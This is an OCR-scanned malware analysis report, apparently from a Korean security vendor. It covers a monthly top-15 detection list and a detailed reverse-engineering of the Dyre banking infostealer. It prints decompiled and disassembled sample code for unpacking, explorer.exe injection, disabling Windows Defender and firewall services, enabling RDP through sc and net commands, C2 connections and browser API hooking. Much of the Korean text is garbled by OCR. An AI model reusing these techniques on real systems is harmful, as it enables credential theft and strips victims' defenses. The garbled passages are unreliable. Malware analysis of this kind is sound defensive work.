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1. 4MTE S

219 P T TOP15

S ULTE Top 15 = AFEAL PCOIM EXX|E QLT ES T[HIC= M=6H SAHOIC

2016 4 20| ZIH oG E Top 15 2IAENM= X[ 282F 1,2 3 2IE RIXGHE QHTES T, 3 KT
Gen:VariantJaik.10505 0] 4 |12 L2471 MEA| Gen:Trojan.Heur.4yXa4gDPY@JG 0] 3 {12 2212 Zi2 HRlot e MlE
32 FARICH, MHMO = Trojan 2T =7t Top15 2| HERE REXISHLL,

Sk

=T =C | ofdTCE FIHH 71E[112] @ éﬂ#)
1 - Misc.Keygen Trojan 374
2 - Misc.HackTool.WinActivator Trojan 238
3 t Gen:Trojan.Heur.4yXa4qDPY@jG Trojan 223
4 I Gen:Variant.Jaik.10505 Trojan 202
- Gen:Variant.Graftor.272300 Trojan 166
6 New Gen:Trojan.Heur2.CTR.2042c8C5aaqvcUPe Trojan 154
7 t Gen:Variant.Strictor.104294 Trojan 128
8 - Adware.Kraddare.295936 Adware 115
9 t4 Misc.Agent. 126672 Etc 114
10 11 Misc.Suspicious.KCP Etc 112
11 New Gen:Trojan.Heur.GZ.gw2@bilRiNfO Trojan 105
12 t3 Worm.ACAD.Bursted.doc.B Worm 98
13 New Trojan.Generic.AD.010710396 Trojan 95
14 New Gen:Trojan.Heur2.CTR.28C5aaqvcUPe Trojan 92
15 New Trojan.LNK.Gen Trojan 89

R 7, AIE AISAIR| ZHSAIS BioH] LEst a9l 20169 04 2 012 ~2016H 04 &30
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4. A0 24
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[Spyware.Infostealer.Dyre]2EIE
2M HIM

1. 71

Dyre(CIOION2 QU24XI i QT =L Lh=al el orsst 7KER EIX| 5 Cifst

o

R,
LH Al MH|AR SEGEALKsvchost.exe) #EH0| 52 Z2AMIA(Explorer.exe)Oi] 2EIM E|0] S&F SICE QIEME QFMTE =
2 AAS =2, 35, TO|0=EA SO0 =7} RRE0] EL1 BteXio| H#Ot REs P26l APILE TE FHE 27 610

7122 FE X WS A=,
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2. FMTC MK £

2.1 mjEe

Detection Name File Name MD5
Spyware.Infostealer.Dyre Sample.exe D643AD4A6EB2DFD2815C1 BBFFAD8BCB62
=
2.2 dMEA

2.2.1 UnPacking

HHODULE hModule; // esi@1

HDC hDC; // edi@i

int result; /f eax@i

struct tagMsG Msq; /7 [sp+8h] [bp-1Ch]E@2

hiodule = GetHoduleHandleA{d);
hiDC = GetDC{A);
GetDeviceCaps{hDC, 88);
ReleaseDC{B, hDC);
MyRegisterClass(hiodule};
result = {int)}InitInstance{hlodule};
if { result )
1
vhile { GetHessageA({&Msg, @, @, B8) )
{
TranslateMessage{&i=qg);
DispatchMessagef(&isg) ;
¥
InitCommonControls();
result = HMsg.wParam;
’

return result;

(72 1) L1 Winiain 1

fGFLO| AR X|E2 LErHRl WinMaint S 6Tt

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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.text:00428174 83 C4 0OC
-text:00428177 6A 6D
.text: 00428179 56

.text: 00428181 C7 45 D8 A0 108+

.text:0042818F FF D7
-text:-00428191 68 00 7F 00 69
.text:00428196 6A B0
-text:00428198 89 45 ES

.text: 00428198 C7 45 FO 06 00+
-text:004281A2 FF 15 F8 BO 4B+
.text:004281A8 6A 70
-text:004281AA 56
.text:004281AB 89 45 EC
-text:004281AE FF D7

.text: 00428180 8D 4D DO
-text:004281B3 51
.text:004281B4 89 45 FC
-text:004281B7 C7 45 DO 30 00+
.text:004281BE 89 75 EA
-text:004281C1 FF 15 FC BO 48+

2 2] 2= SA S5

RegisterClassExA APIE 0|&5tH EE=S

if ( Hsg *= WH_COMMAND )
1

=

add esp, OCh

push 6Dh ; lpIconName
push esi ; hinstance

mou Lebpaloucc siylel 2

mov [ehpflpwcx 1panndPruc], offset sub_LO16A0 l
e e s : “Cobling"
call edi ; LoadIconf

push 7FBBh ; 1pCursorHame
push o ; hinstance

moy [ebp+lpucx.hIcon], eax

mov [ebp+1pucx.hbrBackground], 6
call ds:LoadCursorn

push 768h ; lpIconName
push esi ; hinstance

mov [ebp+lpucx.hCursor], eax

call edi ; LoadIconA

lea ecx, [ebp+lpucx]

push ecx ;5 WNDCLASSEXA =
mov [ebp+lpucx.hIconSm], eax

movy [ebp+1lpucx.cbSize], 36h

mov [ebp+lpucx.hInstance], esi

call ds:RegisterClassExA

=

if ( tsg t= UM_PARENTHOTIFY )

return DefWindowProcA{hlnd,
wParam >> 16;

dword_u498998 +=
if ( wParam >> 16 == 3 )

tfAS SFot

e

g 2=? SlAE 0|80 SH

ro

(o]}

Msg, wParam, 1Param});

T

PostMessagen(hWndParent, 0x8%u, Bx16500u, 8);

e reTuTIT o,
¥
if (
{

wParam »>» 16 ==

v5 = SendHMessagef(:
sub_418ABA(vE);
return 8;

3
return @;

H

[0 3] 9= A4 0% SXiof= 2= T2AIK

4 0|20= 0x89 2t= MIAX] H=E
0x89= M7 WM_SYNCTASK 2t=

0|2510] XtAlQ| ST
HIA|IX|ZF UKAK[2E

ESTSOf[‘ Copyright by ESTsoft corp. All rights reserved.
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if ({ FH=sg
{
({void
return

b

WH_SYHCTASK )

{ thiscall =){int})loc_A43AB98){dword_490998);

[T 4] 0x89(=L WIM_SYNCTAST) HIAX| &2

.text:8843AB20 loc_43AB98: ; DATA XREF: sub_4B18Ad+C71o
.text:A8843AB98 55 push ebp
-text:8843AB21 8B EC mou ebp, esp
.text:8843AB23 53 push ebx
.text:080843AB24 6R 87 push 7
.text:80430B%6 8B D1 mouv edx, ecx
.text:0843AB98
.text:08843AB98 loc_43AB98: ; CODE XREF: _text:B8B43ABCBLj
.text:8843AB28 B2 1B AF 3F 688 mov eax, 3FAF1Bh
.text:08843ABOD
.text:8843ABOD loc_43ABYD: ; CODE XREF: _text:@8B43ABOEL]
.text:@B43ABID 4B inc eax
.text:8843AB2E E2 FD loop loc_43AB9D
.text:08043ABAG 89 2D BS FG6 48+ mov dword_u48F6H5, ebp
.text:0808430BA6 BB DB mov ebx, eax
.text:A043ABAB 58 pop eax
.text:A843ABAY FF D3 call ebx
.text:8843ABAB 68 C7 F3 48 6@ push offset unk_L4BF3C7
.text:8043ABBEO E8 3E 57 B84 @A call sub_4B882F3
[ 5]0x89 HIAIX] LM A| SEEE= Bl
SHICF 2E|I2 ES S = 2 ASHS
ofld FEIS S0l EoE I= FHS sl
.text:0043AB0 55 push  ebp
.text:0043AB91 8B EC mov ebp, esp
.text:0043AB93 53 push  ebx
-text:0043AB9Y4 6A 87 push 7
-text:0043AB96 8B D1 mou edx, ecx
-text:0043AB98
.text:0B43ABOS loc_43ABYS8: ; CODE XREF: .text:OO43ABCBYLj
.text:-0043AB98 B8 1B AF 3F 60 mov eax, 3FAF1Bh
.text:0B43ABYD
.text:0043AB9D loc_43ABYD: ; CODE XREF: .text:BB43ABYEL]j
-text:0B43ABOD 4B inc eax
.text:0043AB9E E2 FD loop loc_A43ABY9D
.text:0B43ABAD 89 2D 05 F6 48+ noy dword_48F605, ebp
-text:0043ABA6 8B D8 mou ebx, eax
texts non £ax
-text:0043ABAY9 FF D3 call ebx ; 00418320 // O04B02F3 &4 =535 =27
“Cext:0043ABBO E8 3E 57 O4 00 call  sub_u8m2Fs
. text:004802F3 42 inc edx
| text:0048682F2 39 07 cmp [edi], eax
| text:004862F6 90 F8 B2 En 1E+ call  far ptr FEERNSISEABERSN
. text:-004862FD EE out dx, al
| text:064862FE D7 xlat
| text:004862FF 31 AE 65 70 6A+ xor [esi-72958F9Bh], ebp
- text:06486365 B4 1A mov ah[go4B02£3 65 push ehp
| text:004808307 21 32 and [ed0046802£4 8bec now ebp.esp
| text:08486389 D1 21 duq004802£6 83cdfd add esp, OFFFFFFFih
004802£9 8945§4 now dword ptr [ebp-0Ch], eax
004802fc 8b5d08 now ebx dword ptr [ebp+8]
004802ff 8bd4304 nov eax dword ptr [ebx+4]
00480302 S0 h
Decrypt 00480303 8b5320 ﬁ;i :S:,dwnrd ptr [ebx+20h]
00480306 8b4210 nov eax dvord ptr [edx+10h]
00480309 S0 push eax
0048030a 8b4208 nov eax, dvord ptr [edx+8]
0048030d ££d0 call eax

[12 6] $= 0l Chigt Dearypt

ESTsoft
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0048034d £3ad rep movs byte ptr es:[edi].byte ptr [esi]
0048034f ebec jnp inagel0400000+0xE6033d (Dﬂ4EDBQd)
00480351 Sb pop ebx
00480352 8b7dfc nov edi, dword ptr [ebp-4]
00480355 8b7318 mov esi,dword ptr [ebz+18h]
00480358 8b43lc nov eax,dvord ptr [ebx+1Ch]
0048035b 8bdbic nowv ecx,dvord ptr [ebx+0Ch]
00480352 8bS308 nov edx, dvord ptr [ebz+i]
00480361 f£d42 call edx
00480363 8bdb20 Mo ecx,dvord ptr [ebx+20h]
00480386 8bdSic nov eax,dvord ptr [ebp-4]
00480369 0345f4 add eax.dvord ptr [ebp-0Ch]
803 0 ca = 00270009}
00480361 8beb nowv .ebp
00480371 S5d pop

0:000> w 00270009 110

00270009 800000000 call 0027000e
00270002 Sb pop ehx
0027000f 83c306 add ebx, 6
00270012 ebef inp 00270083

0:-000> w 00270083 110

00270083 8bec mov ebp,esp

00270085 83c4fl add esp, 0FFFFFFFOh
00270088 B895df4 nov dyord ptr [ebp-0Ch].ebx
0027008b B8bSSO04 nov edx, dvord ptr [ebp+d]
0027008 8b420c nov eax,dvord ptr [edz+0Ch]
00270091 85c0 test Sax, 83X

00270093 74la je 002700af

00270095 B8945f8 nov dword ptr [ebp-8].eax
00270098 8b4ald Mov ecx. dvord ptr [edz+8]
0027009b 894dic nowv dword ptr [ebp-4].ecx
0027009 b902000000 nov ecx, 2

00270083 Bal3 Mo al.byte ptr [ebx]
002700a5 43 inc ebx

002700a6 85c0 test eax, 83X

00270028 75£9 jne 002700a3

002700aa 48 dec ecx

(O3 7] H=2e| 3= st

Decrypt & FE= ZEXHCZ HEZEIE & UL F=E Yot SEiTt.
a8 ZEUME HA EXE THHof CHet AIfds st 2E SFUHAM exeE Mgt 0=

N0z2704ab 8hcoh mor eCH ., 2aX

00z704ad 642130000000 o gax.dword ptr f=:[00000030h]
Q0270403 8bifs nov edi,=ax

Q0z2704bB5S 894f087 mor dword ptr [edi+8].ecx
00z2704b3 8b470c o gax . dword ptr [edi+0Ch]
Q02704bb 8bd00c mow eax,dword ptr [sa=z+0Ch]
00z2704be 8948118 mor dword ptr [sax+lih].ecx
002704zl S8bcl oW AKX, 2CKE

QN2704z3 034520 add eax,dword ptr [ebp-20h]
002704=6 8beSlc mor ezp.dword ptr [ebp+1Ch]
00z2704=9 8hec o ehbp.e=p

002704k 83=508 add =ebp, B

002704ce ffel ] Ti eax {00404=00%
(13 g A 0% SEfoh= T= T
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0:000: 1m

=tart end
742£0000 74303000
7deZ0000 F4ec0000
75890000 75ada000
75260000 75as=s4000
75b10000 7Eb2i000
75b30000 75b3a000
75e=0000 75fb4000
750000 7e0ec0OO
76130000 7elcd0OOO
7140000 Fe270000
TR270000 7e3I3=000
TRIL0000 7R43=000
77540000 7Fe09000
77010000 7?Febl00o
7760000 777fc000
77870000 77a89000

nodule namne
dwmapi {export symbols) Slindowsheystend2 dvmapi . dll
uEthenes {export symbols) Slindowshesystenld2~uxthemns . dll

KERHELEASE (export symbols)
COMCTL32 (export symbols)

IHM32
LFK

kerneliz (export =ymbols)

mEWCT L
UsF1n0

ADWAPI3Z (export =ymbols)

MSCTE
GDI3z
USER3Z
RECRT4
ntdll

zechost

o lindove~syztend 2~KERHELBASE d11
S indows~WinS=zS~286_microsoft wind
SMindows~systend2~IMM3Z . DLL
SMindowsssystend2~LPE . d11
SMindowsssystend2~kerneliz . dll
SMindowsssystend2~nsvort . dll
Sindowsssystend2~U5FP10.d11
windowsssystend2~ADVAPTIZ2 d11
SwJMindowst=sy=tend2~M5CTEF . dl1
SMindowshasystend2~GDIE32 dll
Slindowsheystend2~USERIZ 41l
Sindowsheystend2~EPCRT4 . dll
Sindows~S¥YSTEM3Z2~ntdll  dll

S Hindows~SYSTEH 22 ~=echost . dll

(export =s=ymbols)
(export =s=ymbols)

(export =ymbols)
(export =ymbols)

(export =ymbols)
{export symbols)
{export symbols)
{export symbols)
(export symbols)
(export =s=ymbols)

OOOOOOOOOOO0n 00N

[12! 9] 0[0IX| HHE Set 2= S0 M

222DLL E&f 1P

FS5:[0x00]
FS: [0x04]
FS: [0x08]
F5:[0x10]
FS5:[0x14]
FS: [0x18)
FS5: [0x20)
FS5: [Oxu}]

FS: [Dxa“]

Win9x and NT Current SEH frame

Win9x and NT Top of stack

Win9x and NT Current bottom of stack

NT Fiber data

Win9x and NT Arbitrary data slot

Win9x and NT Linear address of TIB

NT Process ID

NT Carvent t"read iD

gar address of the thread local storage array

CountOfCwnedCriticalSections

.text:00404COF 64 8B 6D 38 06+

-text:00484C16 89 4D F8

.text:00464C19 BB 34 60 60 00

-text:00484C1E 83 C3 30
.text:06464C21 89 5D FC
.text:00404C24 8B 45 FC
-text:00484C27 8B 4D F8
.text:00404C2A 83 3C 61 062

.text:00404C2E OF 82 83 00 00+

(22 10] Z2MM 75 01

I'OII

TS: UX3C]

CSICIicntInread

[0:000> dt PEB 7££dbio0

uxthene! FEB
+0x000 InheritedAddressSpace o'
+0=x001 ReadlmageFlleExe:Upt:ons 0
+0x002 BeingDebugged : Oxl
+0x003 BitField 0
oo . +0x003 ImagellseslargePages : UyU
mov eax, [ebp+var_i] +0=003 IsProtectedProcess w0

+0x003 IsLlegacyProcess : 0Oy0
noY :cx,d E: s ? > +0x003 IsImageDynamicallyRelocated : 0y0
QMP word ptr [ecx+eax], +0x003 SkipFatchingUser32Forvarders : Oy0
jb loc_4BuCB7 +0x003 SpareBits : 0y000

+0x004 Hutant : OxffffffEf Void

+0x02c KernelCallbackTable : 0x7755£620 Void

+0x02c UserSharedInfoPtr : 0x7755£620 Void

+0x030 SystemReserved :

+0x034 AtlThunkSListPtr32 : 0

+0x038 ipiSetMap 0=77900000 Void

+0x03c TlsEzpansionCounter

+0x040 TlsBitmap : 0x77797260 Void

+0x044 TlsBitmapBits : [2) 0=3t

+0x04c ReadOnlySharedMenoryBase : 0x7{6£0000 Void

+0=050 HotpatchInformation : (null})

+0x054 ReadOnlyStaticServerData : O0x7£6£0590 -> (null)

+0x058 insiCodePageData 0=7ffa0000 Void

+0x05c OemCodePageData @ 0x7f£fa0000 Void
7££d40024 Void

DxDSd NumberOf Processors 1

CODalF 129 T UR
+DxD?D CriticalSectionTimeout : _LARGE_INTEGER Oxffffe86d 075b8000
+0x078 HeapSegmentReserve 0x100000

hk =H= %;;Ei

ol —

AFHTET ARlE PC2| T CPU Z2AMIM 7H~Z 0IZ510 S8 Tiie= (2 7H) 051 H2 SEfoHK| k=t

ESTsoft
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text:00404CE7 BB 75 F8 moy esi, [ebp+uvar_ 8]
-text:00484CBA BB 96 28 61 68+ mou edx, [esi+128h]
-text:B04B4CCA 60 68 push ]

-text-a8484CC2 FF D2 call edx ;: ExitProcess
-text:-8848ACCYH SE pop esi
text:-a8404CCS 33 CA ®or eax, eax
text:O0404CCT 5B pop ehx
-text:00404CCE BB ES moy esp, ebp
text:a0484CCA 5D pop ebhp
text:00404CCEB C3 retn

-text:-a0404CCE start endp

(22 1] Z2MM 77 270 051 AR AHETFE B

0040211a 8L7508 [ Tm)td ezl . dword ptr [ebp+8]
00402114 8b8=78010000 mow ecx.dword ptr [e=zi+178h]
no4nz123 57 push edi

Q0402124 8d445c4 lea eax. [ebp—3Ch]

no402127 50 pu=sh 2ax

00402128 cald push 4

0040212a 33ff HOL edl,edi

040212z f£f =1 ecx 400403ad0%

22 12] 2X1g 553t

0x00403ad0 HX|HME EF <AE 28 UL =33E ZAES SHECL

=AtE

explorer.exe
svchost.exe
SeShutdownPrivilege
Global\

\\.\pipe\
uzgn53wmy
t1ry615nr

[E 1] S8 AL E Bd 22

N[ v~ lw | =Y

29| 77 0[|2/o= ZE API O|F H ZAES

rlor
ro
il

(2] 13] 2ixH 2FYTE HX| Z=27H £ Z220X| =

00403960 Sb4674 may eax,dword ptr [esi+7dh]

00403963 83c408 add esp, 3

00403966 Sd8dfOfaffff lea ecx, [ebp-G10h]

0040396c 51 push eck /¢ CHUsersttanalvsistippDatattlocaldt

0040396d Sd95c8foffff lea edx, [ebp-33Eh]

00403973 &2 push edx /¢ "C:tlsershanalvsistippDatatfloca | #ChdEqbQackOkokc . exe”
00403974 f{d0 call eax {shlwapi!StrstriW (76324917}

00403976 85c0 test gay, eax

00403973 7414 je 0040393e

ESTsoft
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EX Z Ll 74O JHCE > ol 5 S AlS =t 7 ore 740
Ed 4271 Otd 8% digd Z=0 IS =SAtet 0|F CHA| HdEH, SiY d=27t X2 82
Ct.
Eoltky 22
= « ) =t
1 | SMIE Al =20 “Temp” 7t L2
= « »
2 | AMFE Ml AZT} “Users\xxxx\Appdata\Local” 217}
= P=) P =
3 | 98FE 4 N JIMEE MY we 2 Z2X o =l
(2] el 2ol gz
uly = al;
uSs = (*{al + BxLO))(0); /7 GetModuleHandleW
vh = (*{al + Ox1C))(v5, a2, 10); /f FindResourceW
if ( ub && (U8 = (*(al + Ox44))(v5S, ua)) t= B )}// LoadResource
{
*al = (=(uk + Ox48))(v5, vd); /f SizeofResource
{={uvh + Bx4C)){vE); // LockResource
Uit = 1;
H 0:0005> de 0042b18c
elsd 0042b18c  faba8033 3abedbbé 781336 b34fdbda
0042519 1c628c34 7hibadal aabSlafé £8c2a560
{ 0042blac  10c3e3f2 7d147305 Dfabccd? 915acOb3
d 0042b1bc  5802af48 9£3be170 3c1787fb 0320219
3 0042blcc  che?c964 cf2d7695 162ch53d 82ec2306 if ( a2 )
0042blds  0b261£75 999bdfle Bab6ddab 7760987a <
return results 0042blec 3ifelS3e £0226751 524dbbbd adebd007
0042blfc aB2f9c7c 6d1885c5 =9880d47 1b04dcch memcpy(uvi, a3, 6x188u);
vy = a2;
if ( a2 > 0)
{
vs = al;
do

0:000> dc 01240000 1200

01240000 S57e58955 53525156 e808758b 00000lea
01240010 468dc389 e8535061 000002d0 516e8dSS
[ ]

01240640 OOfffff9 4400024a 0300905a 04000000
01240650 f£r£000000 bE0OOOLL 00000000 40000000
01240660 00000000 00000000 00000000 00000000
01240670 00000000 00000000 00000000 00000000
01240680 d8s000000 0e000000 00Oebalf 21cd0Sb4 U
01240690 cd4c0lb& 69685421 72702073 6172676f |..L.!This progra
01240620 6163206d 746f6ebe 20656220 206e7572 |m cannot be run

012406b0 44206269 6420534f 2e65646f 240a0d0d |[in DOS mode....$
012406c0 00000000 c6000000 823919f8 826A7799 .uvssrnssn 9wl

012406d0 82627739 416a7799 806a2a36 Eb6a77S9 .wi..wWiA.*3..wi.
01240620 956asdel 826a7799 57627699 ed6a779 ..3..wi..viW.wi.
012406£0 bD6adSef ed€a7799 S36aefef ed6a7789 ..3..wi...3..w3.
01240700 836asaef 526a7799 82636362 00627789 ..3..wiRich..ws.

01240710 00000000 00000000 00000000 50000000
01240720 4c000045 18000501 00564545 00000000

[2! 14] 284 A0 C0[E FE5101 DLLEE

=33l HO[El= Explorer.exe ZZAMA LR = HZZ0f HUZH HAEO =SXHO

1

.

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.

#u5 = u[*u5];
--ub;
++u5;

H
while ( v4 > 8 );
4

result = 1;

Ral
i
912
=
e
09t
o

IThis Program

12
0x
02
do
1l
o
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2.2.3 Explerer.exe T2MIAGIM 24 TFE SXHEM

if { ve )
{
vl = InternetOpenUrlAa{va, “http:fficanhazip.com™, 8, 8, 8, 8);
if { vl )
{
chk_memset{&us, A, Bx418u);
ui = B;
if { InternetReadFile{v1, &ui, 1848, &U7) )
{
chk_memset{&uS, A, @x18u);
s = 2;
u?2 = inet_addr{&ulb);
vh = u2,;
ifF ( v2 = -1
{
if ( w2 )
{

chk_memset{&unk_ 18817C58, B8, B8x808u);
memcpy{&unk_18817C5A8, &u5, B8218u);
ve = 1;
H
H

H
InternetCloseHandle{vi]);

[T2] 15] SIRH LT = ASHROI PCIPFA 47

“http://icanhazip.com” FAE H&E 42 B4 PC 9] IP FAE HOELL

& - 0O @ icanhazip.com

dasdad /odWB. BN

[22! 16]icanhazip.com T 31

ESTSOf[‘ Copyright by ESTsoft corp. All rights reserved.
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u2 = OpenSCHanagerW ({8, A, BxFO0O3F);
u? = u2;
if ( tv2 )

goto LABEL_11;
vg = OpenServiceW{v2, p_wcsServiceName, OxFO03F});
if ( v8 )
{

ut = B8;

qlemset(ﬁuﬁ, o, Ii::tzﬁu); J{H| A o

if ( ControlServiced{v8, 1, &u5) )

Sleep(5068); 1 WSCSVC

. —_—
u1 = DeleteService(u8); MpsSvc
CloseServiceHandle(u8); .

3 3 WinDefend
CloseServiceHandle{v7);
if ( tul )
{
LABEL_11:
usprintfW{&ul, L"stop %s" ) p_uwcsServiceName)
ShellExecuteW (8, L"open", - s U, s
O 17| MulA ER
HIME 2191 0123101 371X| MHIA0 Cho1] S2
text:180114BC push esi
-text:186114BD nov esi, [ebp+arg_8]
.text:100114C0 nov eax, 80000002h
-text:1808114C5 cpuid
text:186114C7 mov [esi], eax
-text:106114C9 nov [esi+h], ebx
-text:180114CC nov [esi+8], ecx
-text:100114CF nou [esi+6Ch], edx
_|-text:i180114D2 add esi, 16h
"|-text:100114D5 now eax, 80000003h
GlobalMemoryStatusEx{&u?) .text:188114DA cpuid
GetSystemInfo(&v5); -text:1080114DC mov [esi], eax
chk_memset{vi, @, B8x108u) -text:100114DE nov [esi+4], ebx
[ sub_188114B4(uvi); | — -text:1868114E1 mov [esi+8], ecx
vl = B3 -text:100114EL nov [esi+BCh], edx
do .text:180114E7 add esi, 16h
{ -text:100114ER nov eax, 80006804h
ud[ui] = vafui]; -text:1008114EF cpuid

++U1}

¥
while { u1 < Bx1008 );
usprintfU{vi, L"CPU: %sWrinProcessors: %dirdnHemory: %d WuB41cBWrin', v3, vo, v >> 28);

B2 18 (PUEE 2 M2 FE 43

Cpuid S2 0I83t0 cpu & HZ2| HE +H

ESTSOf[‘ Copyright by ESTsoft corp. All rights reserved.
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sub_10008D585{&u31, L"SoftwarettiiicrosoftittindousttiCurrentVersionttUninstall™);

if ( w33 )
{
v12 =[sub_1008D667(&u31); | -
v13 = v3Z; if { RegOpenKeyUW{=a1, ={al + W), &u6) )
u2y = yi12; {
vih = 1strlenW(L"==Programs==tin"); result = 85
sub_10007CBB(2 = vlk4, &v26, L"==Programs==Wrih}"); }
if ¢ v2u ) else
sub_18087CBB(v24, &U2G, ul13); {
3 us = B;
> u? = =L"Wr¥n";
vd = asc_10012A2C[2];
uhy = 4;
[ { sub_1888D7A8(a1, u6, al, &US, &ul, &U2);
RegLlosekey(uvo);
for ( result = RegEnumKeyExW{a2, @, &v16, &u13, 0, B8, 6, 0); result = u5;
tresult; 3
result = RegEnumKeyExW{a2, v12, &v16, &v13, @8, 6, 08, 8) ) return result:
{
u? = ={al + 8);
ull = 1824;
if ( sub_18805D053(a2, &ui0, vi, &u9) )
vE = &ulo;
else
U8 = &UO:
sub_1888D6D6(uE);
U123
U132 = 256
}

[O& 19 M| T2 TH B2 4%

HXIAERIS OIZoI X T2 H MH|A S5

o

>
i
o
0

dE & YXAEZ E=2
1 | Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall
2 | SYSTEM\\CurrentControlSet\\services

[ 3] R A7 ChY RAER 32

ul = 8;
if { sub_10005E76{L"SYSTEMMCurrentControlSetiiControlttlsa™, L"LimitBlankPasswordUse')
&& sub_1000SE76{L"SYSTEMMCurrentControlSetWControl¥iTerminal Server™, L"fDenyTSConnections™)
&& sub_1800SE76{L"SYSTEMMCurrentControlSetControl¥Terminal Server®, L"fSingleSessionPerlUser') )

vl = 1;
ShellExecuteM{®, L"open', L"sc", L"config termservice start= auto™, 8, 8);
ShellExecuteW({@, L"open", L"net”, L"start termservice fy", 8, 8);
H
return vi;
(33 20] &4 H&S 2IStRDP 7 |5 2hedst

o
°
4 &= ob7| flol RDP7|1s& 0l&sh &3 2XAELE It E= +FIT.

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.



Part2. 4 22| 2+dTC Ol

sub_1868CABF{vH, L"google.com"};
sub 1888C1BF{&v?, L"microsoft.com");

vz = B;
if { sub_1888C239{&u0) )
1
while { 1 )
1
vi = sub 1888BC286(v2);
uly = sub 188B5BFD(=u3);
ut = uh;
if § vh )
1
if { vh = -1 )
1

vt = socket{Z, 1, @);
chk_memset{&uid, @, Bx10u};

ui2 = ug;
vid = 2;
ui11 = htoncs{8A);

v7 = connect{vs, &uiB, 16);
(22 21] QIE{4l o124 Blo]

A L_=2=

T2, I0|32A0E S F 2T AO|EN| tiet &S A

ro
i}

if § (StrStrIW(aZ?, L"chrome.exe™)
StrStriIW(a?, L"chromium.exe")
StrStriIW(az, L"firefox.exe")
StritriW{az, L"iexplore.exe™)
StritriW{az, L"microsoftedge™})
EnterCriticalSection{al} )

I
I
I
|
Bl

{
if ( sub_18818DB5{a1, a3} )

{
uly = brower_Injected{al, a3);
if ( vh )
sub_18818D2C({al1, ad);
H

LeaveCriticalSection{al});
H

(321 22] BRI Al S0l
=R 10 O|HOAM AR 7HSSH “Microsoft edge” Off E2t2X{0f CHSH ZA|= &5t QUL

ESTSOﬂ" Copyright by ESTsoft corp. All rights reserved.
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&0l HOION 2=

Chrome.exe

Chromium.exe

Firefox.exe

lexplore.exe

U SN —

microsoftedge

I 4] A58 301 ChA QIE{ HRIOK 22

2 HBIQX0 CHE A3 Al S ZRMA

224 ¥ HejRX Q1MM FC SXt

if { *GetHoduleFileMameW (@, &Filename, Bx488u) )
return @;
if { SteStrIW(&Filename, L"firefox.exe") )
{
if { *Firefox_APIHook({} )}
return 8;
ull = 1;

if { *StrStrIW(&Filename, L"chrome . exe™) )
goto LABEL_9;
if { *Chrome_aPIHook{} )
return @;
vl = 1;
LABEL_9:

{
if { HMSBrowser_APIHook_WinInet(} }

if { MSBrowser_APIHook_Kernel({) )}
{
duword_18814244
dword_18814248
H

sub_1880CF60;
&dword_10014250;

"

vl = 1;
dword_18814258 = 1;

(12 23] 22 T BafeK =Rl

M QIE H HtRXE =Qlot 2t EatfX 0| S=

—

ESTsoft copyright by ESTsoft corp. All rights reserved.

G0 AHES

0x

ol

IC

[

M 2t 3
HEXQI Windows 7Ie] HASHSO| 50l HEE 7h2 7| 9510 £US AT

if { StrStrIW(&Filename, L"iexplore.exe™) || StrStrIW{&Filename, L"microsoftedge™) )

02
il

ro

R
Hj
ro
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24 Uy 2N =55
1 | Chrome
2 | Firefox
3 | lexplore
4 | microsoftedge
[E 5] S A QIR HRIRK =5

KERNELBASE ! LoadLibraryExl:

75890784 Bbif mov edi, edi L
7589h786 F push  ebp
75890787 8bec nov che.
e e noy ,AP}I E-’I:- JICi DLaSU008 9301103 push 30910
75890785 57 push  edi 5 & e
7589078d 33if Oor edi,edi
7589b78F 397d08 cup dvord ptr [ebp+8], edi I_‘
75890792 0£8455480100 je KERNELBASE ! LoadLibraryExi+0x1(] (758b8fed)
03149130 55 push  shp
3 1 031d9131 8bec nov ebp.esp
r 758907684 =97f481b8c Jnp 01a50008 |_ 031d9133 &3 push ebx
el R = rin) =0, Ll 03149134 S6 push =
7589b78c 57 push edi - 03149135 8k7508 nov esl,dvord ptr [ebp+8]
7589b78d 33ff EOr edi, edi eﬁpal] Eﬂi [=] 03149138 57 push edi
7689b78f 397408 cmp duord ptr [ebprd] &= T 03149139 S push gsi
7583b792 0£8455d480100 je KERNELBASE|LoadLibraryExl+0=x10 (758b8fed) 031d913a ££15a8£01d403 call dword ptr ds=:[31DF0ABR]
75896798 397d0c chp dword ptr [ebp+0Ch],edi 031d9140 8hidic WOV ecx,dvord ptr [ebp+0Ch]
7589b79b 0£6542d60100 jne KERNELBASE | LoadLibraryExl+0x10 (758b8fed; 031d9143 b8 nov edl, eax
03149145 8b4510 nov eax.dvord ptr [ebpt+lOh]
03149148 S0 push eax
031d9149 51 push ECX
031d914a 56 push __esi
(02 24) AP 32 THES
[E 4] OlAM= Chromium ESH 201 SIUX|D, MME= S5 5HX| 2o,
QAER O UX|O| HR0E BHE JI59 X0| Q0| SUF K2 5 HLt
=7 e API 9] AIZF 5Byte Off CHGF] “@9 xx xx xx xx” IHHOZE HZXSI E 22 HZ22] YHOE HI
£ ot 0|F0 & ZEA|XUA push — ret HEOZ AEHY 2Z[HFAE MUSIH MM RE0A sHY C|0|E
£ X2 oiCt.
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HetRKN DLL API
1 QAZED kernelbase / Kernel32 CreateProcessInternalW
/ QK| LoadLibraryExW
WININET [CSecureSocket::Send_Fsm
ICSecureSocket::Receive_Fsm
USER32 GetMessageW
PeekMessageW
2 oo|o{=EA NSS3 / NSPR4 PR_Read
PR_Write
PR_Close
USER32 GetMessageW
PeekMessageW
3 S kernelbase / Kernel32 LoadLibraryExW
chrome.dll FCIIEIS 0|35 Z4M 0|5 HX

o
oh
oM
_O'ﬂ
9
Pal
ro

20| 4 WA AARE 401 SS| read, SSL_Write, SSL_Close S
ALE St QOECE Qlot 2 IE MES M2 2| A 0A

\

{M510] $US AZBIC

0

B3A1BES? |PUSH Bx3A1F218 ASCII "generalinfo'
B3A1BF63 | PUSH Bx3A1F224 ASCII '"m_di2p32"
PUSH Bx3AiFA?A ASCII '"cannot get'
PUSH Bx3A1F224 ASCII "m_i2p32"
PUSH Bx3A1E4?C ASCITI '"xad™
PUSH Bx3A1F224 ASCII "m_i2p32"
PUSH Bx3A1F22C ASCII "start fail"
PUSH Bx3A1F244 ASCII '"cannot get config"
PUSH Ax3A1F238 ASCII "backconn'
PUSH BAx3A1FZe6A ASCITI "AUTOBACKCONN
MOU ECX, B8x3A1F278 ASCII "TRUE"
PUSH Bx3A1F278 ASCII "browsnapshot"
